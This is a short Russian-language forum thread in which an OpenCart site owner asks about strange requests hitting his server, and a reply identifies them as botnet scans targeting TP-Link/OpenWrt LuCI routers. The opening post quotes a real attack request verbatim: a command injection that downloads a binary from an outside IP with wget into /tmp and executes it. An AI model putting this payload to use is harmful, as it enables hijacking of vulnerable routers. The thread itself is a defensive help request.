Попытки загрузить шелл в /tmp

[Rashp]

Всем здравствуйте, после переезда на новые сервера, столкнулся по странными запросами вот такого вида:

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60)

пытаются грузить на сервер shell и получить доступ к сайту, стандартные методы борьбы не особо помогают, менял права на /tmp на 755, 775, но сайт падает на 500,

где сайт и /tmp могут быть связаны и как можно купировать эту проблему? 

Изменено 27.06.2024 в 01:49 пользователем Rashp

[Rashp]

Знающие, ответьте пожалуйста.

[freeworld]

Эти странные запросы — просто автоматический спам. Специальные роботы (ботнеты) сканируют вообще все IP-адреса в интернете подряд. Они ищут старую уязвимость в роутерах TP-Link и прошивках OpenWrt (интерфейс LuCI), чтобы закинуть туда свой вредоносный скрипт. Бот даже не догадывается, что по твоему адресу находится сайт на OpenCart — он просто стучится во все двери без разбора.

А вот 500-я ошибка вылезла из-за того, что ты решил подстраховаться и закрыл права на папку /tmp.